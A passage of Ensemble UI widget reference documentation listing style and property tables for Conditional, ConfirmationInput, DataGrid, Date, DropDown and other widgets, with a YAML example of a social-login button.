style to apply on the shadow `normal`, `solid`, `outer`, `inner` | +| stackPositionTop | integer | The distance of the child's top edge from the top of the stack. This is applicable only for Stack's children. | +| stackPositionBottom | integer | The distance that the child's bottom edge from the bottom of the stack. This is applicable only for Stack's children. | +| stackPositionLeft | integer | The distance that the child's left edge from the left of the stack. This is applicable only for Stack's children. | +| stackPositionRight | integer | The distance that the child's right edge from the right of the stack. This is applicable only for Stack's children. | +| captureWebPointer | boolean | Applicable for Web only. When overlaying widgets on top of certain HTML container (e.g. Maps), the mouse click is captured by the HTML container, causing issue interacting with the widget. Use this to capture and maintain the mouse pointer on your widget. | +| margin | string or integer | Margin with CSS-style notation | +| padding | string or integer | Padding with CSS-style value | +| width | integer | The width property determines the horizontal size of an element, allowing control over its width dimension within the layout. | +| height | integer | The height property determines the vertical size of an element, allowing control over its height dimension within the layout. | +| backgroundImage | [BackgroundImage](#BackgroundImage) | Background image of the box. | +| backgroundGradient | [Gradient](#Gradient) | Background gradient of the box | +| backgroundColor | [Color](#Color) | Background color of the box. which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| expanded | boolean | If the parent is a Row or Column, this flag will stretch this widget in the appropriate direction. (e.g. stretch horizontally for parent of type Row) | +| visibilityTransitionDuration | number | Specify the duration in seconds when a widget animates between visible and not visible state. Note that setting this value will cause the widget to still occupy the UI space even when it is not visible. | +| elevation | integer | The z-coordinate at which to place this material relative to its parent. A non-zero value will show a shadow, with its size relative to the elevation value. Minimum value: 0, Maximum value: 24 | +| elevationShadowColor | [Color](#Color) | The shadow color for the elevation, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| elevationBorderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | +| alignment | string | The alignment of the widget relative to its parent. `topLeft`, `topCenter`, `topRight`, `centerLeft`, `center`, `centerRight`, `bottomLeft`, `bottomCenter`, `bottomRight` | +| visible | boolean | Toggle a widget visibility on/off. Note that an invisible widget will not occupy UI space, unless the visibilityTransitionDuration is specified. | +| opacity | double | Adjusts the opacity of the widget. Values range from 0 (fully transparent) to 1 (opaque). Default is `1`. | +| enableSplashFeedback | boolean | Toggles splash effect feedback for the widget when `true`. | +| splashColor | string | Defines the color of the splash effect when `enableSplashFeedback` is true. | +| splashDuration | integer | This is the duration it takes to fill the widget surface with the splashColor.The duration in ms when tap and release on the widget. | +| splashFadeDuration | integer | The duration it takes to fade out once tapped. Since a typical tap starts and ends immdiately, this splashFadeDuration executes almost at the same time as the splashDuration, so ideally it should be equal or longer than splashDuration to see the entire effect. | +| unconfirmedSplashDuration | integer | This happens when the user tap and hold (not yet released). It is called unconfirmed since the tap will be cancelled if the user moves out of the tap area and release. Usually this should be longer (around 1 secs) to signify that the user has not confirmed the tap. | + +--- + +# Conditional widget + +Conditional widget allows developers to conditionally render UI elements based on specified conditions, enhancing dynamic content display and personalized user experiences within the app. + +### Properties + +| Property | Type | Description | +| ---------- | ----- | -------------------------------------------------------------------------------------------- | +| conditions | array | Allow users to conditionally render their widgets using `if`, `elseif` and `else` statements | + +**Example** +Conditional widget is very useful specially when making a custom widget where users might want to have a default value and an optional value. Let us take an example for its use case + +Consider that you are trying to make a custom widget or Button for dealing with social logins, since there are more than on platforms like Meta, Google, Apple etc so choosing an image based on `provider` variable is a viable choice. But how can we check if `provider` is apple or google etc ? + +#### Steps + +- First of all declare the base custom widget yaml code. Then use `Conditional` to render `Image` widget accordingly. + +**Code** + +```yaml +Widget: + inputs: + - provider + - label + onLoad: | + //@code + + console.log(provider); + console.log(label); + + function capitalizeString(str) { + return str.charAt(0).toUpperCase() + str.substring(1) ; + } + + if (label.length > 0 ) + providerText.text = label; + else + providerText.text = "Sign In With " + capitalizeString(provider); + + body: + Stack: + styles: + alignChildren: centerLeft + children: + - Conditional: + conditions: + - if: ${provider === 'apple' || provider === 'Apple' } + Image: + source: https://firebasestorage.googleapis.com/v0/b/ensemble-web-studio.appspot.com/o/custom_widgets_assets%2Fsocial_login%2Fapple.png?alt=media&token=893491f0-5300-4b29-8fce-30fe98eaec76 + styles: + height: 24 + width: 24 + padding: 0 24 + - elseif: ${provider === 'google' || provider === 'Google' } + Image: + source: https://firebasestorage.googleapis.com/v0/b/ensemble-web-studio.appspot.com/o/custom_widgets_assets%2Fsocial_login%2Fgoogle.png?alt=media&token=c91b1a27-a0bd-40c2-b82d-0f250762bc0b + styles: + height: 24 + width: 24 + padding: 0 24 + + - Row: + id: rowId + styles: + borderColor: 0xFFDEDED4 + crossAxis: center + mainAxis: center + borderRadius: 8 + height: 50 + children: + - Text: + id: providerText + styles: + textStyle: + fontSize: 12 +``` + +--- + +# ConfirmationInput widget + +The ConfirmationInput Widget enables the seamless rendering of a verification view. The usecases are entering OTP, Confirmation Code, PIN Number, Reset Password, Coupon and more. + +[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/iCOvav6CcioH46LR6wYF) + +## Properties + +| Property | Type | Description | +| :--------------- | :------ | :---------------------------------------------------------------------------------------------- | +| length | integer | The number of the text fields item. | +| enableCursor | boolean | If the button is inside a Form and upon on tap, it will execute the form's onSubmit action if this property is TRUE. | +| autoComplete | boolean | If it is True, then it will trigger onComplete when the user specified length and has typed the full length, False will trigger onComplete when the user hit Enter. Defaults (True). | +| fieldType | string | How the input field should be displayed. | +| inputType | string | Pick a predefined input type. | +| obscureText | boolean | To display the pin as obscure. Default is `false` | +| obscureSymbol | string/Icon | To display in place of pin as obscure if `obscureText` is `true`, it can be a character of length `1` or a `icon` widget. Default is `*` | +| defaultFieldBorderColor | string | Set the border color for inactive/unfocused state of text field. | +| activeFieldBorderColor | string | Set the border color for active/focused state of text field. | +| filledFieldBorderColor | string | Set the border color for filled state of text field. | +| defaultFieldBackgroundColor | string | Set the background Color for inactive/unfocused state of text field. | +| activeFieldBackgroundColor | string | Set the ackground Color for active/focused state of text field. | +| filledFieldBackgroundColor | string | Set the ackground Color for filled field state of text field. | +| cursorColor | string | Set the color for the cursor. | +| styles | object | [See properties](#styles) | +| onChange | action | Execute an action when a change is detected to the text field | +| onComplete | action | Execute an action when the text field fully entered or when keyboard submitted button tapped | +| autofillEnabled | boolean | Enables or disables the autofill functionality for the input field. Default is `false`. | + +--- + +# DataGrid widget + +The DataGrid Widget enables the seamless rendering of data grids, facilitating the organized display and manipulation of tabular data within your application for effective data representation and interaction. + +[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/c5940e18-f2c1-4318-8e68-a678a6ae7247) + +## Properties + +| Property | Type | Description | +| :--------------- | :------ | :----------------------------------------------------------------------------------- | +| item-template | object | [See properties](#item-template) | +| children | array | List of Data Row widgets. | +| styles | object | [See properties](#styles) | +| horizontalMargin | integer | The leading and trailing gap for the DataGrid view. | +| dataRowHeight | integer | Set the height of the data row item. | +| headingRowHeight | integer | Set the height of the heading row item. | +| columnSpacing | number | Set the padding for the column. | +| dividerThickness | integer | Determines the thickness or width of dividers in the DataGrid widget. | +| DataColumns | array | List of data columns | +| sorting | object | Sort the data columns in ascending or descending order. [See properties](#styles) | +| thumbThickness | double | Set thickness of scrollbar. Default value is `10.0`. | +| scrollbarBehaviour| enum | Scrollbar behaviour `static` or `fade` when grid is not intereacted with. Default is `fade`. | + +### sorting + +| Property | Type | Description | +| :--------------- | :----- | :--------------------------------------------------------------------------------------------------------------------------------------------------- | +| columnIndex | String | The index of the data column to be sorted | +| order | String | Set the data column sorting either in `ascending` or `descending` order + +### item-template + +| Property | Type | Description | +| :------- | :----- | :----------------------------------------------------------------- | +| data | string | Bind to an array of data from an API response or a variable | +| name | string | Set the name to reference as you iterate through the array of data | +| template | array | The data row widget to render for each item | + +### styles + +| Property | Type | Description | +| :--------------------------- | :---------------- | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| expanded | boolean | If the parent is a Row or Column, this flag will stretch this widget in the appropriate direction. (e.g stretch horizontally for parent of type Row) | +| borderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | +| borderColor | integer or string | Sets the border color, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| borderWidth | integer | Thickness of the border. Minimum value should be 0. | +| shadowColor | integer or string | Sets the box shadow color starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| shadowOffset | array | The values in array define the horizontal and vertical offset of the shadow. Example: if the shadowOffset is set to [2, 4], the shadow will be offset by 2 pixels horizontally and 4 pixels vertically from its original position. | +| shadowStyle | string | The blur style to apply on the shadow `normal`, `solid`, `outer`, `inner` | +| stackPositionTop | integer | The distance of the child's top edge from the top of the stack. This is applicable only for Stack's children. | +| stackPositionBottom | integer | The distance that the child's bottom edge from the bottom of the stack. This is applicable only for Stack's children. | +| stackPositionLeft | integer | The distance that the child's left edge from the left of the stack. This is applicable only for Stack's children. | +| stackPositionRight | integer | The distance that the child's right edge from the right of the stack. This is applicable only for Stack's children. | +| backgroundImage | object | Background image of the box. [see properties](#stylesbackgroundImage) | +| backgroundGradient | object | Background gradient of the box [see properties ](#stylesbackgroundGradient) | +| backgroundColor | integer or string | Background color of the box. which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| alignment | string | The alignment of the widget relative to its parent. `topLeft`, `topCenter`, `topRight`, `centerLeft`, `center`, `centerRight`, `bottomLeft`, `bottomCenter`, `bottomRight` | +| visible | boolean | Toggle a widget visibility on/off. Note that an invisible widget will not occupy UI space, unless the visibilityTransitionDuration is specified. | +| visibilityTransitionDuration | number | Specify the duration in seconds when a widget animates between visible and not visible state. Note that setting this value will cause the widget to still occupy the UI space even when it is not visible. | +| opacity | double | Adjusts the opacity of the widget. Values range from 0 (fully transparent) to 1 (opaque). Default is `1`. | +| elevation | integer | The z-coordinate at which to place this material relative to its parent. A non-zero value will show a shadow, with its size relative to the elevation value. Minimum value: 0, Maximum value: 24 | +| elevationShadowColor | integer or string | The shadow color for the elevation, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| elevationBorderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | +| margin | string or integer | Margin with CSS-style notation | +| padding | string or integer | Padding with CSS-style value | +| width | integer | The width property determines the horizontal size of an element, allowing control over its width dimension within the layout. | +| height | integer | The height property determines the vertical size of an element, allowing control over its height dimension within the layout. | +| captureWebPointer | boolean | Applicable for Web only. When overlaying widgets on top of certain HTML container (e.g. Maps), the mouse click is captured by the HTML container, causing issue interacting with the widget. Use this to capture and maintain the mouse pointer on your widget. | +| headingText | object | Set the text style for the heading text.[see properties](#headingtext) | +| dataText | object | Set the text style for the data item text. [see properties](#headingtext) | + +### styles.backgroundGradient + +| Property | Type | Description | +| :------- | :----- | :--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| colors | array | The list of colors used for the gradient. Colors can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. | +| start | string | The starting position of the gradient | +| end | string | The ending position of the gradient | + +### styles.backgroundImage + +| Property | Type | Description | +| :-------- | :----- | :------------------------------------------------------------------------------------------------------------------------------------------------- | +| source | string | The Image URL to fill the background | +| fit | string | How to fit the image within our width/height or our parent (if dimension is not specified) . [see options](#fit-options-for-stylesbackgroundimage) | +| alignment | string | Alignment of the background image | + +#### Fit options for styles.backgroundImage + +| Option | Description | +| :-------- | :-------------------------------------------------------------------------------------------------- | +| fill | Stretch our image to fill the dimension, and distorting the aspect ratio if needed | +| contain | Scale the image such that the entire image is contained within our dimension | +| cover | Scale the image to fill our dimension, clipping the image as needed | +| fitWidth | Scale the image to fit the width, and clipping the height if needed | +| fitHeight | Scale the image to fit the height, and clipping the width if needed | +| none | Center-Align the original image size, clipping the content if needed | +| scaleDown | Center-Align the image and only scale down to fit. Image will not be scaled up to bigger dimension. | + +#### styles.headingText + +| Property | Type | Description | +| :--------- | :---------------- | :---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| fontSize | integer | Sets the size of the text. | +| color | integer or string | The color specification for the text, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| decoration | string | A linear decoration to draw near the text. `none` `lineThrough` `underline` `overline` | +| font | string | Default built-in style for this text. `heading` `title` `subtitle` | +| fontWeight | string | The thickness of the glyphs used to draw the text. `light` `normal` `bold` `w100` `w200` `w300` `w400` `w500` `w600` `w700` ` w800``w900 ` | +| lineHeight | string or integer | The line height of the text, which determines the vertical spacing between lines. It can be specified as, a number, or a string chosen from a set of predefined values: `default` `1.0` `1.15` `1.25` `1.5` `2.0` `2.5` | +| textStyle | string | A linear decoration to draw near the text or whether to slant the glyphs in font. `normal` `italic` `underline` `strikethrough` `italic_underline` `italic_strikethrough` | | + +--- + +# Date widget + +The Date Widget facilitates the rendering of date input fields, providing a user-friendly interface for selecting and displaying dates within your application for date-related functionality. + +[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/e7zOy8oX5dxQU7kD5IO4) + +## Properties + +| Property | Type | Description | +| :--------------- | :------ | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| id | string | ID to be referenced later | +| maxWidth | integer | The max width of this Input widget (default 700) | +| label | string | Label for your widget | +| labelHint | string | Hint text on your label | +| hintText | string | Hint text explaining your widget | +| required | boolean | Whether the field is required | +| enabled | boolean | Enables or disables the interactivity and input functionality of the widget | +| icon | object | [See properties](#icon) | +| onChange | action | Call Ensemble's built-in functions or execute code when the input changes. Note for free-form text input, this event only dispatches if the text changes AND the focus is lost (e.g. clicking on button) | +| styles | object | [See properties](#styles) | +| initialValue | string | The highlighted initial date in the calendar picker (default is Today). Use format YYYY-MM-DD. | +| firstDate | string | The first selectable date in the calendar. Use format YYYY-MM-DD | +| lastDate | string | The last selectable date in the calendar. Use format YYYY-MM-DD | +| showCalendarIcon | boolean | Whether we should show (default) or hide the calendar icon. Selecting the text will still open the calendar picker | + +### icon + +| Property | Type | Description | +| :------- | :---------------- | :---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| name | string | The name of the icon | +| library | string | Which icon library to use. | +| color | integer or string | The color specification for the text, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| size | integer | Defines the dimensions or magnitude of an element, allowing control over its overall size within the layout. | + +### styles + +| Property | Type | Description | +| :--------------------------- | :---------------- | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| expanded | boolean | If the parent is a Row or Column, this flag will stretch this widget in the appropriate direction. (e.g stretch horizontally for parent of type Row) | +| variant | string | Select a pre-defined look and feel for this Input widget. This property can be defined in the theme to apply to all Input widgets. | +| contentPadding | integer or string | Padding around your input content with CSS-style notation e.g. margin: 5 20 5 | +| fillColor | integer or string | The fill color for this input fields. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| borderRadius | integer | The border radius for this Input widget. This property can be defined in the theme to apply to all Input widgets. | +| borderWidth | integer | The border width for this Input widget. This property can be defined in the theme to apply to all Input widgets. | +| borderColor | integer or string | Sets the border color, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| errorBorderColor | integer or string | The border color when there are errors on this input field. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| focusedBorderColor | integer or string | The border color when this input field is receiving focus. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| focusedErrorBorderColor | integer or string | The border color of this input field when it is receiving focus in its error state. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| disabledBorderColor | integer or string | The border color when this input field is disabled. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| variant | string | Select a pre-defined look and feel for this Input widget. This property can be defined in the theme to apply to all Input widgets. [see properties](#options-for-stylesvariant) | +| visible | boolean | Toggle a widget visibility on/off. Note that an invisible widget will not occupy UI space, unless the visibilityTransitionDuration is specified. | +| visibilityTransitionDuration | number | Specify the duration in seconds when a widget animates between visible and not visible state. Note that setting this value will cause the widget to still occupy the UI space even when it is not visible. | +| opacity | double | Adjusts the opacity of the widget. Values range from 0 (fully transparent) to 1 (opaque). Default is `1`. | +| stackPositionTop | integer | The distance of the child's top edge from the top of the stack. This is applicable only for Stack's children. | +| stackPositionBottom | integer | The distance that the child's bottom edge from the bottom of the stack. This is applicable only for Stack's children. | +| stackPositionLeft | integer | The distance that the child's left edge from the left of the stack. This is applicable only for Stack's children. | +| stackPositionRight | integer | The distance that the child's right edge from the right of the stack. This is applicable only for Stack's children. | +| alignment | string | The alignment of the widget relative to its parent. `topLeft`, `topCenter`, `topRight`, `centerLeft`, `center`, `centerRight`, `bottomLeft`, `bottomCenter`, `bottomRight` | +| elevation | integer | The z-coordinate at which to place this material relative to its parent. A non-zero value will show a shadow, with its size relative to the elevation value. Minimum value: 0, Maximum value: 24 | +| elevationShadowColor | integer or string | The shadow color for the elevation, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| elevationBorderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | +| captureWebPointer | boolean | Applicable for Web only. When overlaying widgets on top of certain HTML container (e.g. Maps), the mouse click is captured by the HTML container, causing issue interacting with the widget. Use this to capture and maintain the mouse pointer on your widget. | + +#### options for styles.variant + +| Option | Description | +| :-------- | :------------------------------------------------------------------------------------------------------------------- | +| box | draw a Box border around this input widget. This property can be defined in the theme to apply to all Input widgets. | +| underline | draw an Underline below this input widget. This property can be defined in the theme to apply to all Input widgets. | + +--- + + +# Divider + +The Divider Widget is a simple, horizontal or vertical line that separates content visually within your application's layout. It is primarily used to create a clear distinction between different sections or components, improving the overall readability and organization of the interface. Common use cases include separating items in lists, forms, or between groups of content in both web and mobile applications. + +Below is a preview of the Divider in action: + +--- + +# DropDown widget + +The DropDown Widget enables the rendering of dropdown menus, providing users with a selectable list of options within your application for intuitive and efficient data selection. + +[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/fb8d28a2-834e-40a9-8419-155272fb0191) + +## Properties + +| Property | Type | Description | +|:-------------|:-----------------------------------------------|:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| +| id | string | ID to be referenced later | +| maxWidth | integer | The max width of this Input widget (default 700). while min vlaue can be `0` and maximum can be `5000` | +| label | string | Label for your widget | +| labelHint | string | Hint text on your label | +| labelStyle | [TextStyle](#TextStyle) | Styling for the label | +| hintText | string | Hint text explaining your widget | +| required | boolean | Whether the field is required | +| enabled | boolean | Enables or disables the interactivity and input functionality of the widget | +| icon | object | [See properties](#icon) | +| onChange | action | Call Ensemble's built-in functions or execute code when the input changes. Note for free-form text input, this event only dispatches if the text changes AND the focus is lost (e.g. clicking on button) | +| value | string | Specifying the value of your Text Input | +| autoComplete | boolean | Enable the Input search suggestion option | +| items | array | List of values, or Objects with value/label pairs | +| itemTemplate | [ItemTemplate](#ItemTemplate) | Use this to iterate through a data array and render each dropdown item, as well as specify the selected item's value | + +### ItemTemplate +| Property | Type | Description | +|:---------|:--------|:--------------------------------------------------------------------------------------------------------------------------------------| +| data | array | Specify an array of data (or an expression that resolves to an array).
The system will iterate through each item in this array | +| name | string | As the system iterate through the data, you can reference each item's data using this name | +| template | Widget | The widget to be rendered for each dropdown item in the data array. The widget can reference the data using the name specified above. | +| value | string | Specify the expression to evaluate as each item's value. This will be the value when a dropdown item is selected. | + +## Styles + +| Property | Type | Description | +| :--------------------------- | :---------------- | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| variant | string | Select a pre-defined look and feel for this Input widget. This property can be defined in the theme to apply to all Input widgets. [see properties](#options-for-stylesvariant) | +| visible | boolean | Toggle a widget visibility on/off. Note that an invisible widget will not occupy UI space, unless the visibilityTransitionDuration is specified. | +| visibilityTransitionDuration | number | Specify the duration in seconds when a widget animates between visible and not visible state. Note that setting this value will cause the widget to still occupy the UI space even when it is not visible. | +| opacity | double | Adjusts the opacity of the widget. Values range from 0 (fully transparent) to 1 (opaque). Default is `1`. | +| stackPositionTop | integer | The distance of the child's top edge from the top of the stack. This is applicable only for Stack's children. | +| stackPositionBottom | integer | The distance that the child's bottom edge from the bottom of the stack. This is applicable only for Stack's children. | +| stackPositionLeft | integer | The distance that the child's left edge from the left of the stack. This is applicable only for Stack's children. | +| stackPositionRight | integer | The distance that the child's right edge from the right of the stack. This is applicable only for Stack's children. | +| errorBorderColor | integer or string | The border color when there are errors on this input field. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| focusedBorderColor | integer or string | The border color when this input field is receiving focus. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| focusedErrorBorderColor | integer or string | The border color of this input field when it is receiving focus in its error state. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| disabledBorderColor | integer or string | The border color when this input field is disabled. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| fillColor | integer or string | The fill color for this input fields. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| elevation | integer | The z-coordinate at which to place this material relative to its parent. A non-zero value will show a shadow, with its size relative to the elevation value. Minimum value: 0, Maximum value: 24 | +| elevationShadowColor | integer or string | The shadow color for the elevation, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| elevationBorderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | +| expanded | boolean | If the parent is a Row or Column, this flag will stretch this widget in the appropriate direction. (e.g stretch horizontally for parent of type Row) | +| contentPadding | integer or string | Padding around your input content with CSS-style notation e.g. margin: 5 20 5 | +| captureWebPointer | boolean | Applicable for Web only. When overlaying widgets on top of certain HTML container (e.g. Maps), the mouse click is captured by the HTML container, causing issue interacting with the widget. Use this to capture and maintain the mouse pointer on your widget. | +| alignment | string | The alignment of the widget relative to its parent. `topLeft`, `topCenter`, `topRight`, `centerLeft`, `center`, `centerRight`, `bottomLeft`, `bottomCenter`, `bottomRight` | +| borderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | +| borderColor | integer or string | Sets the border color, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| borderWidth | integer | Thickness of the border. Minimum value should be 0. | +| expanded | boolean | If the parent is a Row or Column, this flag will stretch this widget in the appropriate direction. (e.g stretch horizontally for parent of type Row) | +| textStyle | [TextStyle](#TextStyle) | Styling for the selected text | +| dropdownBackgroundColor | integer or string | Sets the background color of the panel with the list of options that appears when the dropdown is open, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| dropdownOffsetX | integer | X-axis offset from the dropdown field of the panel with the list of options that appears when the dropdown or autocomplete is open | +| dropdownOffsetY | integer | Y-axis offset from the dropdown field of the panel with the list of options that appears when the dropdown or autocomplete is open | +| dropdownBorderRadius | integer | Border radius of the panel with the list of options that appears when the dropdown or autocomplete is open | +| dropdownBorderColor | integer or string | Border color of the panel with the list of options that appears when the dropdown or autocomplete is open | +| dropdownBorderWidth | integer | Border width of the panel with the list of options that appears when the dropdown or autocomplete is open | +| dropdownMaxHeight | integer | Maximum height of the panel with the list of options that appears when the dropdown or autocomplete is open | + +### icon + +| Property | Type | Description | +| :------- | :---------------- | :---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| name | string | The name of the icon | +| library | string | Which icon library to use. | +| color | integer or string | The color specification for the text, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| size | integer | Defines the dimensions or magnitude of an element, allowing control over its overall size within the layout. | + +--- + +# FittedColumn (deprecated) +This widget is deprecated. Please use [FlexColumn](/pages/widgets/flex-column.md) instead. + +Stretch to fit the parent (the parent is required to have a predetermined height), then distribute the vertical spaces evenly among its children. You can override the space distribution via 'childrenFits' attribute. + +[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/hRFxxoaBePQaLfmoBiIb) + +## Properties + +| Property | Type | Description | +| :------- | :----- | :------------------------------------------------- | +| children | array | List of widgets | +| onTap | action | Call Ensemble's built-in functions or execute code | +| styles | object | [See properties](#styles) | + +### styles + +| Property | Type | Description | +| :--------------------------- | :---------------- | :---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| childrenFits | array | Specify array of numbers to set how space is distributed among the children. Use `auto` instead of a number in order to have the child widget determin its own width. | +| mainAxis | string | Control our children's layout vertically. `start` `center` `end` `spaceBetween` `spaceAround` `spaceEvenly` | +| fontSize | integer | Sets the size of the text. | +| fontFamily | string or object | Set the font family applicable for all widgets inside this container, see the list of all available font families [here](https://github.com/material-foundation/flutter-packages/blob/main/packages/google_fonts/generator/families_supported). You can specify the fontFamily name directly or specify a different fontFamily for each language, see [Here](../translations.mdx#optionally-configure-different-fontfamily-for-each-language-your-app-supports) | +| gap | integer | The gap between the children in the main direction | +| crossAxis | string | Control the horizontal alignment of the children. `start` `center` `end` `stretch` `baseline` | +| borderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | +| borderColor | integer or string | Sets the border color, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| borderWidth | integer | Thickness of the border. Minimum value should be 0. | +| shadowColor | integer or string | Sets the box shadow color starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| shadowOffset | array | The values in array define the horizontal and vertical offset of the shadow. Example: if the shadowOffset is set to [2, 4], the shadow will be offset by 2 pixels horizontally and 4 pixels vertically from its original position. | +| shadowRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | +| shadowStyle | string | The blur style to apply on the shadow `normal`, `solid`, 